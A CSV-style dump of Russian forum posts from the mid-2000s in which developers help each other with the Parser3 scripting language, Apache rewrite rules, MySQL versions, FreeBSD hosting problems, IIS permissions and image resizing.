Если надо пропарсить отдельные параметры, а не все в куче, то через $form:fields это делается. Опять же матчи не нужны никакие."
"39113","и Action parser3-handler /cgi-bin/parser3.cgi в .htaccess"
"39117","Впринципе, оно и верно. А то не по логике как-то получается."
"39118","а это:\
ENGINE=InnoDB DEFAULT CHARSET=cp1251 COLLATE=cp1251_bin;\
вообще бардак.\
Кстати, как пользователь, скажи, есть ли какие-нибуть существенные преимущества?"
"39120","http://dev.mysql.com/doc/mysql/en/mysql-4-1-nutshell.html\
\
появились подзапросы + native поддержка unicode."
"39122","... правда, я уже так давно пользуюсь MySQL-ем, что разучился их пользовать... надо попробовать. Мне по большейц части интересует скорость и надежность системы. Стоить ли мне \"Upgrade-ить\" SQL на тех сайтах, которые работают на MySQL 3.2?"
"39124","какая это полезная штука форум. Если сам не нашел, так найдет кто-нибудь другой.\
Вообщем, спасибо за ссылку, а то WYSIWYG-редактор для своей CMS-ки писал сам, а так как с JS знаком так себе получилось нечто ограниченное по функциональности....\
*-)"
"39125","если не планируется использовать новых возможностей - незачем и апргрейдиться.\
\
если планируется на будущих проектах, то для того чтобы не держать несколько серверов можно и проапгрейдится.\
\
быстрее mysql скорее всего работать не стал: чудес не бывает и для работы новых фич нужно процессорное время. \
\
стабильность... ну прошло лишь пол года с тех пор как 4.1 стала production. но думаю откровенных косяков в нем уже нет: хостеры уже использовать начали.\
\
и если вы с 3.x сравниваете то там больше новых фич. я привел ссылку на changelog относительно 4.0. некоторые из фич 4.0 я уже использовал (и писал про них в форуме) и получил существенный прирост производительности.\
\
по поводу апгрейдов:\
http://dev.mysql.com/tech-resources/articles/choosing_mysql.html\
Ctrl+F \"When to Upgrade\""
"39126","можно. я так делал :-)\
\
через process\
\
работает отлично и не тормозит"
"39127","на самом деле это плохо - усложняется отладка, придется раскручивать весь контекст создания экземпляра просто для того, чтобы просто определить что этот объект умеет."
"39128","тут говорят можно - но я бы не стал пользоваться такой возможностью, т.к. это усложняет отладку и снижает производительность."
"39129","В общем-то да, про то что бы перекрыть метод я не подумал..\
Но вот полчаса назад проапгрейдил всю систему а вместе с ней и mysql - проблема исчезла, как я понял это был глюк конкретной сборки. Теперь вообще не надо указывать кодирвовку при подключении.."
"39130","Internal Server Error\
\
The server encountered an internal error or misconfiguration and was unable to complete your request.\
\
Please contact the server administrator, postmaster@piligrim-m.com.ua and inform them of the time the error occurred, and anything you might have done that may have caused the error.\
\
More information about this error may be available in the server error log."
"39134","[code]\
# .htaccess:\
RewriteEngine	on\
RewriteOptions	inherit\
RewriteCond	%{REQUEST_FILENAME}	!-f\
RewriteCond	%{REQUEST_FILENAME}	!-d\
RewriteRule	^(.*)$	index.html?$1	[QSA,L]\
[/code]\
\
На локальном компьютере все работало, но при загрузке на сервер — перестало, вот что что пишет в лог:\
\
[quot]\
mod_rewrite: maximum number of internal redirects reached. Assuming configuration error. Use 'RewriteOptions MaxRedirects' to increase the limit if neccessary.\
[/quot]\
\
Прочитал, перевел, подумал, нашел, исправил:\
\
[code]\
# .htaccess:\
RewriteEngine	on\
[b]RewriteOptions	MaxRedirects=1[/b]\
RewriteOptions	inherit\
RewriteCond	%{REQUEST_FILENAME}	!-f\
RewriteCond	%{REQUEST_FILENAME}	!-d\
RewriteRule	^(.*)$	index.html?$1	[QSA,L]\
[/code]\
\
Не помогло. В результате таже самая строчка в логе. Посмотрел у Егорова — ничего не нашел. В форуме тоже ничего не нашел. Может быть плохо искал? Помогите пожалуйста."
"39135","немогу реализовать механизм в гостевой книге, чтобы выводилось по 10 сообщений на странице. тоесть как добавить сообщение в базу данных и получить его от туда я понял, а как разбить их на страницы по 10 сообщений-нет"
"39138","тем более что по другому решить ту проблему что я решал, никак не получится.\
\
и я рад что нашёл решение."
"39139","ну конечное решение зависит, от того что хотите получить на выходе.\
[code]\
$nl[^taint[^#0A]]\
	$content[@USE${nl}${codebehind}${nl}@CLASS${nl}TESTPAGE${nl}@BASE${nl}${class_name}${nl}@new[]${nl}^^BASE:new[]${nl}###${nl}\
]\
\
^process[$caller.self]{^taint[as-is][$content]}\
[/code]"
"39140","на сколько процентов снижается производительность?\
\
а если по-меньше сидеть в форуме и по-больше работать, то повышается производительность ;-)"
"39142","1. переопределив имя метода main в какое-то другое ($.main[xxx]) вы сказали: «дорогой process, скомпилируй тут этот вот метод, @xxx, я его потом-как-нибудь вызову». а Parser разбирается с методами объектов на ходу. при компиляции кода его не беспокоит отсутствие того или иного метода.\
\
Parser здесь использует позднее связывание имён, позволяя сначала использовать метод/переменную, затем определить.\
\
простейший пример:\
[code]\
@a[]\
#здесь компилятор не ругается на отсутствие b\
^b[]\
@b[]\
...\
[/code]\
\
первая причина проста: Parser использует однопроходный компилятор, так [b]быстрее[/b].\
вторая сложнее: в Parser можно добавлять свои поля и методы на ходу, вычисляя их имена. выходит, проверить наличие поле/метода на момент компиляции использующего это поле/метод фрагмента просто невозможно.\
\
2. так создавать объекты нельзя, нужно \
[code]\
$var[^class::ctor[]]\
[/code]\
у вас не видно внутри process никакого $var."
"39143","совсем недавно тут публиковали ссылку на простой способ."
"39144","вы ведь читаете по-английски?\
что значит \"failed to open log file\"?\
\
если не разберётесь, какой именно файл тут вдруг веб-серверу понадобился,\
поспользуйтесь strace/ktrace."
"39145","вторгаться в имена переменных, и засовывать туда некое своё имя без явного желания пользователя — нехорошо.\
\
пока единственное исключение: эта самая неявная переменная $match, внутри match-replace-кода.\
ключевое слово тут [b]внутри[/b]. поработала, убили. она там локальна.\
\
в случае if локализовать переменную так же красиво — нельзя."
"39146","в драйвере \
[code]\
// это ?charset=значение \
if(cstrBackwardCompAskServerToTranscode) {\
	// set charset\
	char statement[MAX_STRING]=\"set CHARACTER SET \"; // cp1251_koi8\
[/code]\
\
т.е. задание ?charset и команда суть одно и то же"
"39148","таки нет index.html?"
"39149","как-нибудь посмотрю.\
обычно это что-то тривиальное.\
приму \"patch -u\"."
"39150","пока из относительно продуманных вещей можно сказать, что будет поддержка properties.\
\
окончательного варианта пока нет, но есть понимание, что можно сделать и без изменений синтаксиса и без больших накладных временных расходов.\
\
\
конечно, уже планируемая возможность поддержки работы с файлами в XML, необходимая для написания полноценных клиентов и серверов веб-служб.\
для собственно работы с веб-службами предполагается, что будет написан код на Parser. благо, тут временные издержки при обработке запросов относительно невелики. этот код будет выложен в раздел Примеры на видное место. автор упомянут жирным шрифтом."
"39151","вдруг у кого есть силы сделать так:\
[code]\
$cbrService[^webService::create[http://www.cbr.ru/DailyInfoWebServ/DailyInfo.asmx]]\
$table[^cbrService.invoke[GetCursOnDate;^date::now[]]]\
[/code]\
\
и вариант: с параметрами в hash.\
\
причём WSDL\
http://www.cbr.ru/DailyInfoWebServ/DailyInfo.asmx?WSDL\
конечно, кэшировать.\
\
ссылка по теме:\
http://www.cbr.ru/scripts/Root.asp?Prtid=SXML"
"39152","[code]\
# было и не работало:\
RewriteRule	^(.*)$	index.html?$1	[QSA,L]\
# так работает:\
RewriteRule	^(.*)$	/index.html?$1	[QSA,L]\
[/code]"
"39153","Как получить значения форм использующих одинаковые переменные, при этом [b]СОХРАНИВ[/b] последовательность при передаче?\
Пример с GET'ом(нужен так же и пост):[b]?asd=1&asd=2&br=&asd=3[/b]\
В данном случае операторы FORM здесь [b]не годяться[/b].\
Пробывал и такое:\
[code]$query[$request:query\
$request:body]\
$query[^query.match[\\&*([\\w\\-\\%\\.\\+]+)\\=([\\w\\-\\%\\.\\+]*)][g]{$match.1=$match.2][/code]\
\
Работает все ок, но встает вопрос с кодировкой данных.\
Если отправить запрос на русском, то юникодовские символы переведены не будут. Как нибудь это можно решить?\
\
Прошу Вас, очень нужна помощь!!!!!!!!"
"39156","FAQ я читал. Спасибо хорошо написали.\
\
но проблему это не решило. Апачь ругается в лог что мол\
/usr/libexec/ld-elf.so.1: Shared object \"libc.so.4\" not found, required by \"parser3.cgi\"\
\
Админ хостинга не разобрался и говорит мне, цитата ниже. \
\"Parser3 написан для FreeBSD 3.5 и FreeBSD 4.\
Также на сайте www.parser.ru указано что последние обновление для\
Parser3   было сделано в 2002 году.Наш сервер хостинга работает под управлением FreeBSD 5.3.\
По этим причинам на нашем сервере хостинга Parser3 использовать нельзя.\
P.S.\
С технической точки зрения использовать продукты которые не\
поддерживаются разработчиком уже 3 года не целесообразно.\" \
\
Я ему сказал что он не прав. Но все же, что мне теперь делать."
"39158","Жаль что вы обо мне такого плохого мнения.\
По моему это вы ни разу не применяли реально эту функцию.\
Я четко указал, что мне нужна [b]строгая[/b] последовательность!!!\
Она возвращает все значения только одной переменной.\
Приминев с циклом списков последовательность так же теряется.\
В любом случае я уже и сам справился, написав конвертацию русского языка."
"39159","http://parser2.parser.ru/download/\
тут действительно есть упоминания 3.5 и 4.x, и последняя дата действительно 2002 г.\
\
однако тут:\
http://www.parser.ru/download/freebsd/\
дата последнего исполняемого файла - 11.01.2005, и упоминания 3.5 нет, зато есть 4.9.\
\
правда сути это не меняет, собраный нами парсер на вашей системе не работает, вы можете попробовать установить альтернативные сборки (поиск по форуму рулит), однако если это не даст результатов то единственное что вам остается - компилировать парсер на вашей системе самому."
"39160","...броузеры не гарантируют последовательность полей, в какой они отправят данные серверу... (хотя обычно они все-таки отправляют поля формы так, как они описаны в html, но... тем не менее мне выбранный вами путь кажется странным)."
"39161","можно куда-нибудь выложить..."
"39162","В БД (заполняется сторонним пхп скриптом) есть поле, содержащее название картинок вида 1; 2; 3; и т.п. (в одном поле несколько картинок). Все картинки в jpg и лежат в одной папке.\
Нужно заставить парсер при выборке данных из этого поля отделять название первой картинки. Ну а потом соотвественно добавлять туда .jpg, но с этим я и сам разберусь. Проблема только в разделении названий фалов... \
Может у кого были похожие задачи?"
"39163","если в чруте - скажите админу пусть эту библиотеку libc.so.4 скопирует в чрут..."
"39168","Эти старания для движка обработки данных форм, и их последующей записи в xml файлы.\
Сие творение для автоматизированной системы управления счетов.\
Хочу так же выразить свою благодарность за создание такого мощьного движка как Parser3. Изначально требовался парсер лишь для XSLT"
"39169","Как сделать счетчик посетителей (как на artlebedev.ru)"
"39171","Как организовать замену имён в тексте?\
\
[b]Дано:[/b]\
база данных authors\
таблицы:\
   id\
   name [color=\"#959595\"]- русское имя[/color]\
   name2 [color=\"#959595\"]- английское имя[/color]\
\
Было предложение использовать replace. Какие будут мнения, если в базе данных около 4000 имён, а заменять нужно и английские и русские?\
\
[b]Пример замены[/b]\
[i]Было:[/i] Однажды Вася пошёл погулять.\
[i]Стало:[/i] Однажды [url=\"http://test/name.html?id=12\"]Вася[/url] пошёл погулять."
"39172","конечно, там не Бойер-Мур, но для текста в страничку/две вполне быстро будет.\
\
точные цифры потом сообщите?"
"39174","Выложите его пожалуйста. Бо с моим хостером каши не свариш."
"39175","я ему сразу сказал что он их перепутал. но сути это не изменило"
"39176","огласите весь список требований, пожалуйста :)\
\
Игорь, Гоша тоже надо?"
"39178","На сервер мы установили библиотеки совместимости с версией FreeBSD 4.x,\
в частности и библиотеку \"libc.so.4\".\
Теперь при вызове /cgi-bin/parser3.cgi создается core файл, и\
завершается выполнение parser3.cgi.\
core файл создается при критических ошибках приложения, таких как\
обращение к недопустимой области памяти, при делении на 0, при попытке\
выполнить недопустимый системный вызов... core файл содержит информацию\
о содержании ОЗУ в момент выполнения приложения.\
\
При этом в лог файл Apache записывается:\
\"[Thu Apr 07 14:37:51 2005] [error] [client 195.64.225.161] Premature\
end of script hea\
ders: parser3.cgi\
\"\
На сайте www.parser.ru в разделе FAQ (http://www.parser.ru/faq/install/)\
есть описание этой ошибки.\
---------------\
соответствующую операционной системе вашего сервера (уточните ее у\
системного администратора).\"\
^^^^^^^^^^^^^^^^^^^^^^^^^\
Уточняем у нас на сервере стоит FreeBSD 5.3, вы используете parser3 для\
FreeBSD 4.Х.\
\
В ближайшие дни на сервере хостинга мы обновим FreeBSD до версии 5.4,\
есть надежда что после обновления parser3 будет работать.\
\
Советуем вам обратится к разработчикам parser3, если у них планы\
поддерживать FreeBSD 5.X.\
_____________________________________________________\
Вот приведен выше ответ моего хостера на то, что мой парсер не дышит :(\
Если есть такая возможность, то выложите пожалуйста сборку под 5.х\
так как большинство Украинских хостингов стоят именно на FreeBSD   5.х"
"39180","нужно сделать что-то вроде\
http://www.cbr.ru/scripts/usd_cbr_php.zip\
только на Parser-е в виде библиотеки"
"39182","Это идеи. Текста будет немного, допустим имён 10 подряд. А вообще думаю о том как сделать что-то подобное, как у http://www.ozon.ru/context/dvd_detail/id/2257181/ (Режиссер, Актеры).\
Моя идея, это в двух полях писать имена и фамилии через запятую, а потом их обрабатывать с помощью [b]^str.match[/b]."
"39185","А это возможно???\
Просто у нас на Украине практически все хостеры стоят на FreeBSD 5.х\
так что сборка под 5.х была бы актуальнее чем 4.х"
"39187","http://www.nullsoft.com/pinkumbrella.phtml"
"39188","где там падежи?"
"39189","однако в форуме этот вопрос (сюрприз) уже обсуждался.\
\
поговорите с людьми, если будут добры, и вы будете добры с ними, помогут.\
\
официальная позиция: исходники открыты, а с FreeBSD5 Студия пока активно не работает."
"39190","[b]такое[/b] решение, увы, нельзя назвать даже общим, не то что красивым."
"39191","Пример счетчика с использованием БД.\
http://www.315robindr.com/dload/soft/catalog/?file=counter.p\
По возможности старается считать только уникальных посетителей, не зависимо сколько раз человек заходил а сайт в течении суток и с какого IP. Конечно не всегда получается, но идея была такова."
"39192","1. LIMIT 1 -> http://www.parser.ru/examples/comp/\
\
2. WHERE `ip` LIKE '%$ip%' AND `date_time` LIKE '%${now.year}-%${now.month}%-%${now.day}%' (индексов есссно нету) -> почитайте что-нить про SQL сервера, для начала ссылку выше и http://www.parser.ru/examples/news/ а если не будете читать то просто примите к сведению: ваш SQL сервер скоро умрет под этим запросом.\
\
3. $ip[$env:REMOTE_ADDR], $now[^date::now[]] - интересно у вас переменные используются до того, как определяются.\
\
4. $row[^string:sql{...COUNT(*)...}] -> $row(^int:sql{...COUNT(*)...})\
\
5. $.expires($leftdays) - очень понравилось как ставите expire :)\
а нельзя сделать так:\
[code]\
$d[^date::create($now.year;$now.month;$now;day;0;0;0)]\
^d.roll[day](1)\
$cookie:counter[\
   $.value[1] \
   $.expires[$d]\
]\
[/code]"
"39193","будем править, а с датой немного не правильно получилось из-за того что код упростил а не все поправил.\
"
"39194","Если фича, то она мне не нравится.. ))\
\
Пишем:\
[code]\
# Предположим, есть XML с нестандартными символами\
$str[<root><umlauts><name>K&ouml^;nigsberg</name><sign>sssss&szlig^;sssss</sign></umlauts></root>]\
\
$str[^xdoc::create{<?xml version=\"1.0\" encoding=\"windows-1251\"?>\
<!DOCTYPE root[\
<!ENTITY	nbsp	\"&#160^;\">\
<!ENTITY	Uuml	\"&#220^;\">\
<!ENTITY	uuml	\"&#252^;\">\
<!ENTITY	Auml	\"&#196^;\">\
<!ENTITY	auml	\"&#228^;\">\
<!ENTITY	Ouml	\"&#214^;\">\
<!ENTITY	ouml	\"&#246^;\">\
<!ENTITY	szlig	\"&#223^;\">\
<!ENTITY	copy	\"&#169^;\">\
]>$str}]\
\
# сохраняем XML\
^str.save[/admin/request.txt;$.encoding[windows-1251]]\
\
# Прочитываем текстовые данные.\
$Nodelist[$str.documentElement.firstChild.childNodes]\
^Nodelist.foreach[key;value]{\
$str[$value.firstChild.nodeName - $value.firstChild.nodeValue]\
^str.save[append;node.txt]\
}\
[/code]\
\
Получаем:\
Сохраненный XML-документ идентичен тому, что напечатали (или ввели из формы)\
\
А вот что лежит в node.txt:\
[code]\
#text - K&#246;nigs\
#text - sssss&#223;s\
[/code]\
\
Отрезаны по 4 буквы с каждого конца. Что бы это могло быть?\
Последнюю версию парсера я не смотрел еще, каюсь, м.б. там этого нет. у меня предпоследняя под Windows."
"39195","В новой версии то же самое, но зато стало понятно, зачем в Мишиной библиотеке лежит метод @nodeToSTR[] :-)"
"39196","Из замечаний только SQL запрос остался не тронутым, потому как понять я этого пока не смог (возможно и не пойму, а книги нет под рукой), да и посещений у меня на сайте не так много. Будем надеятся, что сервер выдержит. :)\
\
Если кто-то знает, как сделать запрос более оптимальным без подключения класса MySQL, то буду очень признателен за помощь.\
[code]\
	$countip[^table::sql{\
		SELECT ip\
		FROM `counter`\
		WHERE `ip` LIKE '%$ip%' AND `date_time` LIKE '%${now.year}-%${now.month}%-%${now.day}%'\
		}]\
[/code]"
"39198","уж если на то пошло то лучше сделать так:\
	$countip[^table::sql{\
		SELECT ip\
		FROM `counter`\
		WHERE `ip` = '$ip' AND `date_time` LIKE '${now.year}-${now.month}-${now.day}'\
		}]\
\
А вот про индексы внимательно прочитайте.\
Ещё как оптимизацию вероятно луше воспользоваться Мишиными методами из примеров по преобразованию ip в int и обратно, и хранить ip в виде Int"
"39199",":)"
"39200","киньте плз драйвер для mysql для парсера3 для коннекта к mysql41.\
пробовал собрать - не выходит..."
"39201","забыл - система freebsd5"
"39202","Есть такая ситуация: имеются фотки большого размера лежащие на серваке и постоянно добавляемые сторонним скриптом. Мне нужно сделать preview этих фоток в маленьком виде. Читал пример с использованием imagemagik, но там насколько я понял изменяется размер при загрузке фотки и сохраняются 2: большая и маленькая.\
А возможно ли сделать изменение размера \"на лету\"? Типа как GD в пхп...\
Всем заранее пасибо..."
"39203","но по времени исполнения это равносильно тому, что вы закачаете большие фотки, и просто поставите маленький размер для них."
"39204","Т.е. совсем глушняк? А как же быть? Может есть какие-нибудь идеи..."
"39205","задача была сделать некое подобие того механизма который реализован в asp.net \
\
Этот механизм в asp.net сделан довольно хорошо и способствует разделению кода страницы, от вывода html (или xml)\
\
есть файл aspx с html-вёрсткой (или html в нашем случае) и файл с кодом который обрабатывает разные события, загружает данные.\
\
Как это реализованно внутренне. Файл html-вёрсткой наследник файла с кодом. В нём есть строчка указывающая какой класс наследовать.\
\
[code]\
<%@ Page Codebehind=\"Registration.p\" %> \
[/code]\
\
при запросе html страницы автоматически создаётся вся цепочка наследований.\
\
[code]\
BasePage.p -> Registration.p -> Registration.html\
[/code]\
\
BasePage.p - это базовый класс для Registration.p \
В нём определены некоторые общие действия для большинства страниц (например инициализация сессии, обработка событий авторизации).\
\
Боюсь что не все поймут, но главное я понимаю :-)"
"39207","файл news.html\
[code]\
<%@ Page Codebehind=\"NewsList.p\" %>\
\
$.doc_name[Новости]\
$.body[\
	$e[^newsList.getEnumerator[news]]\
	^while(^e.MoveNext[]){\
		<h3><em>^DtFormat[^news.getDt[]]</em> - ^news.getTitle[]</h3>\
		<blockquote><p>^news.getContent[]</p></blockquote>\
	}\
]\
[/code]\
\
файл NewsList.p\
\
[code]\
@USE\
BasePage.p\
###\
\
@CLASS\
NewsList\
###\
\
@BASE\
BasePage\
###\
\
@new[]\
^BASE:new[]\
###\
\
@Load[][User]\
^BASE:Load[]\
\
$User[^Session.getUser[]]\
$newsMapper[^MapperFactory:getMapper[News]]\
$newsList[^newsMapper.findWhere[ type_id = ^User.getTypeID[] and active = 1; dt desc ]]\
###\
[/code]"
"39210","Если вы прямо в html вставляете ссылки с картинками с других сайтов - это плохой подход.\
Про скорость загрузки страницы можно вообще забыть... Она постоянно будет стремиться к нулю. :)"
"39213","В данный момент если задать $.cache_interval(0), то @_check_cache_expiration никогда не выдаст ^throw и значит это равносильно вечному кешу. Что ИМХО не совсем естественно, ибо $.cache_interval(0) - по аналогии с ^cache означает \"не кешировать\".\
Может добавить def в 276 строке? Или я недопонял заложенной концепции?"
"39214","Есть скрипт онлайн магазина, написанный на пхп. Работает он хорошо, да и в программировании я не настолько силен, чтобы переписать заново магазин. Я меняю полностью дизайн сайта и хочу сделать типа \"спецпредложения\"- 4 кратких описания товара на 1ой странице. Вышеупомянутый пхп скрипт позволяет добавлять к каждому товару много фоток. Я беру из БД несколько необходимых мне строк описания и 1 фотку (лежат они, естественно, на моем сайте). Только вся проблема в том, что фотки большие (640х480), а мне нужно сделать их маленькими (110х83). Сами фотки при загрузке я resize-ить не могу, т.к. все администрирование делает пхп. Вот мне и нужно при выводе изображения какими-то средаствами менять его размер..."
"39215","Один из основных принципов построения устойчивых веб-систем - кэширование, кеширование и еще раз кеширование! :) Даже если вы хотите делать ресайз на лету, все равно нужно кешировать! Иначе для каждого посетителя будет выполнятся ресайз, а ресайз картинки не самая простая операция! Так какая разница - кешировать результат изменения картинки на лету или сразу выдавать измененную копию. А на лету (при первом вызове) ее создавать."
"39217","Привет всем!\
Прошу не пинать сразу в поиск и FAQ, а доходчиво объяснить в чем я не прав. Итак...\
1. Ставлю парсер на IIS в системных переменных ОС задал DOCUMENT_ROOT, когда прогоняю тестовый файл выдается сообщение - «кривой» или скрипт находится не в корне веб пространства (C:\\Site). Как это победить? Сам парсер стоит в каталоге C:\\Parser, в настройках IIS для Home Directory установлен параметр C:\\Site.\
2. Когда пытаюсь сделать сайт в том же каталоге, что и парсер, то при обработке тестового файла установки парсера выдается ошибка \"The server encountered an unhandled exception and was unable to complete your request. Please contact the server administrator,...\" Правильно ли размещать сайт в том же каталоге, что и парсер? Если да, то как этого добиться?\
3. Где найти логи ошибок парсера?\
Спасибо."
"39218","Мне по сути без разницы будет создаваться ли она каждый раз по новой или будет висеть в кэшэ. Проблема в том, что я не знаю пхп никак и уменьшенную копию при добавлении нового товара я его не заставлю сохранять... Поэтому и говорю, что нужно сделать чтобы изменялась средствами парсера или совместимых приложений при 1ом вызове ну или наподобие того..."
"39219","хотя в принципе при установке его в 0 думаю надо таки не кешировать. я поправлю класс."
"39221","У меня есть конфигурационная переменная $default_cache_time - во многих местах, где задаю кеширование, использую ее значение. Когда хочется отключить кеширование - ставлю ее в ноль."
"39222","Смысл один во всех языках - проверяете есть ли уже сохраненная копия, если нету создаете. Затем выдаете копию.\
[code]\
^if(!(-f \"${small_images_dir}${image_name}\")){\
 ^resize[$image_name]\
}\
$small_image[^image::measure[${small_images_dir}${image_name}]]\
^small_iamge.html[]\
[/code]"
"39225","как писал Eugene Spearance в http://www.parser.ru/forum/?id=37607\
создал test.pl, после запуска выдает ошибку:\
\
'cgi' output does not contain CGI header; exit status=254; stdoutsize=0; stdout: \"\"; stderrsize=0; stderr: \"\" [<no type>]\
\
объясните что это значит относительно Image::Magick? работает он или нет?\
\
И еще, может кто-то имел дело с Image::Magick на хостинге Arbatek.ru?\
может есть какие-то подводные камни?"
"39227","Текст который кладётся в базу данных обрабатывается типографом, пробовал добавить замену псевдо-тегов в регулярные выражения типографа, впрочем как если они и в отдельном классе результат один -- типограф заменяет кавычки, как можно реализовать замену псевдо тегов в таком случае?"
"39229","Вдруг ты захочешь обрабатывать текст каким-то новым правилом, например. Или если он понадобится тебе в чистом виде..."
"39231","Помнится года полтора назад они его не поддерживали и тыкали пальцем на GD. Недавно обнаружил IMagick в списке модулей perl. Попробовал - работает. При тестировании проблем не было."
"39232","реализовал идею ПАФа:\
в базе не одно поле для хранения текста, а 2 - одно для хранения того, что из формы пришло, с псевдо-тэгами, а 2-е - уже оттипографленный текст.\
типограф стоит ДО записи в базу.\
дает большой выйгрыш на больших текстах."
"39233","а я это обошел не совсем хорошим способом: начала ставить в псевдо-тегах [i]одинарные[/i] кавычки.\
\
а вообще E. Spearance это реализовывал у себя, ищи по форуму"
"39234","я пытаюсь запустить это дело на субдомене и он постоянно выдает ошибку, что не получилось выполнить pl скрипт (5)\
\
только что попробовал на основном сервере запустить... тоже самое."
"39236","спасибо за чёткий report!"
"39238","Perl-скрипт положен в cgi-bin субдомена с необходимыми правами?"
"39239","1. оставьте в покое «переменную ОС DOCUMENT_ROOT», нигде не задавайте.\
1а) текст ругательного сообщения приведите тут целиком, не стесняйтесь.\
1б) по-умолчанию при добавлении обработчика в IIS снизу окошка, где вы указываете путь к parser включен флаг [x] Script (пишу по памяти), проверьте, что от избытка чувств не выключили его, надо, чтобы был включен.\
\
2. неправильно\
\
3. в общем журнале работы сайта, путь к нему см. на странице свойств сайта, вкладка General, нижний блок."
"39240","иными словами: .pl файлы на unix надо закачивать в [b]text mode[/b].\
\
2. путь к perl в строке #! должен быть такой, какой ваш хостинг-провайдер указывает в описании своих услуг."
"39241","Права 755 или я что путаю?\
\
Да и если не было бы файла он бы ругался на это."
"39243","все сделано как написано и как сказано в описании (ну по крайней мене мне так кажется, но обычно своих ошибок не видешь)\
\
наверное руки кривые у меня...\
\
буду воевать, может что-то и ополучится."
"39245","Спасибо за овтет. \
[quot]1. оставьте в покое «переменную ОС DOCUMENT_ROOT», нигде не задавайте.[/quot]\
Что это за перменная и на что влияет? Т.е. про нее вообще можно забыть?\
\
[quot]1а) текст ругательного сообщения приведите тут целиком, не стесняйтесь.[/quot]\
Ну посколько это сообщение вылезало только кошда я хотел разместить сайт в каталоге парсера, что не правильно, то это отменяется. Но сдругой стороны в уроке 1 документации пишется, что файлы sections.cfg и файл auto.p должны лежать в одном месте (родном каталоге парсера?)\
\
[quot]1б) по-умолчанию при добавлении обработчика в IIS снизу окошка, где вы указываете путь к parser включен флаг [x] Script (пишу по памяти)...[/quot]\
Парметр [x] Script Engine включен.\
\
И еще приобработке классов  $file и $hashfile выдается сообщение об ошибке - \"нет доступа для записи файла\". При этом в настройках сайта в Home Directory разрешение на запись стоит."
"39246","как забрать, см. http://www.parser.ru/download/src/\
\
войдёт в следующую версию, которая будет пока не знаю, когда.\
думаю, только вместе с properties, за которые пока не брался."
"39247","Столкнулся сегодня с тем, что объекты класса не видят глобальных переменных... Покопался в форуме, по сути вопроса ничего не нашел (может конечно недоискал)... Навела на мысль [url=\"http://www.parser.ru/forum/?id=20604\"]фраза egr[/url], что \"...глобальными считаются переменные определённые в классе MAIN а не в пользовательских классах...\". Сделал в классе\
[code]\
@BASE\
MAIN\
[/code]\
Все заработало. Так и должно быть или я забил гвоздь микроскопом в материнскую плату?"
"39248","а не работает только часть.\
\
про права доступа:\
то, что в свойствах веб-сервера разрешена запись, это другое право, к описываемой проблеме не относящееся, и это право стоит выключить, пока вы (наконец) не почитаете описание вашего веб-сервера, где поймёте, что оно означает.\
\
если ваш веб-сайт публичен, т.е. доступ к нему открыт всем без пароля, то действия выполняются от имени пользователя IUSR_NNN, полное имя пользователя можно увидеть в настройке веб-сервера, вкладка Security (пишу по памяти).\
\
вот [b]этому[/b] пользователю надо дать право на запись, пользуясь Windows Explorer.\
\
давайте права аккуратно, не давайте лишних.\
\
если файл стирается, его права забываются, держите это в голове."
"39250","Подскажите как из базы данных выбрать 3 последних записи (по id)"
"39251","вы зачем делаете класс? чтобы отделить методы и поля в отдельную сущность, правильно?\
\
а тут вы эту сущность обратно к классу MAIN приклеили, соединив ранее отделённое.\
\
если если нужен просто ворох методов, просто уберите @CLASS вообще.\
\
все определённые методы попадут в класс MAIN, и все переменные доступны без трюков.\
\
если же хочется жить в отдельной квартире, живите, но звоните в класс MAIN через добавочный номер:\
\
[code]\
$MAIN:имя\
[/code]"
"39253","[quot]т.е. Parser у вас в целом работает, а не работает только часть.[/quot]\
Именно так, меня смущает эта неладная DOCUMENT_ROOT, а описание обещаю почитать,чес слово.\
Спасибо за хлопоты."
"39254","Взял оттуда ^images:resize[], только не работает... для этого resize наличие imagemagik обязательно?"
"39255","Например, если скопировать \
[url]cvs -d :pserver:anonymous@cvs.parser.ru:/parser3project login[/url]\
в строку браузера, то ничего хорошего не происходит.\
\
А если руками зайти на cvs.parser.ru, то как-то там не очень понятно, откуда что брать...\
\
Хотя.. без разницы.. я все равно собрать не смогу.. ))))"
"39256","URL=?"
"39257","Может я невнимательно читал форум, но мне показалось, что никто ничего не говорил про построение деревьев, запихивая записи не в одну таблицу, а в две?\
Или такая реализация крайне плоха?"
"39259","Я делал так.\
Первая таблица - родительские сообщения с mid.\
Вторая - дочерние, куда пишутся ответы + mid родителя на который отвечали.\
Потом при выводе родителей проверяется наличие ответов во второй таблице. Всё.\
Чем плохо?"
"39260","Тогда получается что таким же образом можно писать всё в одну таблицу. Добавив ещё одно поле..."
"39265","К CVS нужно подключаться не из браузера, а с помощью спец. инструментов."
"39266","собрал sql драйвер, но в логе на него ругать\
libparser3mysql.so can't open the module [<no type>]\
что не так?"
"39271","Очень прошу покажите как пользоваться этими файлами. Приведите самый примитивный пример что бы можно было работать с Mysql как в примере \" Новостной раздел для чайников\"\
\
Если кому не лень подскажите как:\
\
1.подключиться к базе используя\
\
[code]\
@server[body]\
^connects_count.inc(1)\
^connect[$connect-string]{$body}\
#end @server[]\
[/code]\
\
2. Извлечь записи:\
\
[code]\
$result[^MAIN:pSQL.table{SELECT item FROM article}] - как это использовать.\
[/code]\
\
Очень прошу помогите - нервы на пределе. Приведите пример что нужно написть в auto.p"
"39272","для просветления есть гугль"
"39276","у вас сочетание - freebsd 5 и mysql 4.1 ? \
Если да - то там какой-то глюк, у меня в таком сочетании тоже все собирается, но не работает - с тем же диагнозом."
"39281","Недавно в этом же форуме я спрашивал, как можно [url=\"http://www.parser.ru/forum/?id=39082\"]динамически создать БК[/url] ([i]Базовый Класс[/i]). Но это решение не даст желаемого мне результата. Поэтому я решил сформулировать сою задачу и поспрошать у вас, уважаемые мои... Может кто подскажет какое-нибудь решение или предложит альтернативу.\
\
[b]Есть:[/b] 3 класса (их кол-во будет расти) - [news,object,admin_object].\
[b]Нужно:[/b] Когда польователь просматривает сайт для news БК является object. А когда мы находимся в админке, то должно быть так - news - admin_object - object. Это цепочка классов.\
\
[url=\"http://www.parser.ru/forum/?id=39139\"]Предложенное smalex'ом решение[/url] не годится, т.к. в [url=\"http://www.parser.ru/forum/?id=39205\"]его задаче[/url] стояла проблема именно задания БК, а в моём же случае нужно сздавать экземпляр класса, что приведёт (пи решении способом smalex'а) к process всего класса."
"39282","http://www.parser.ru/forum/?id=20720\
\
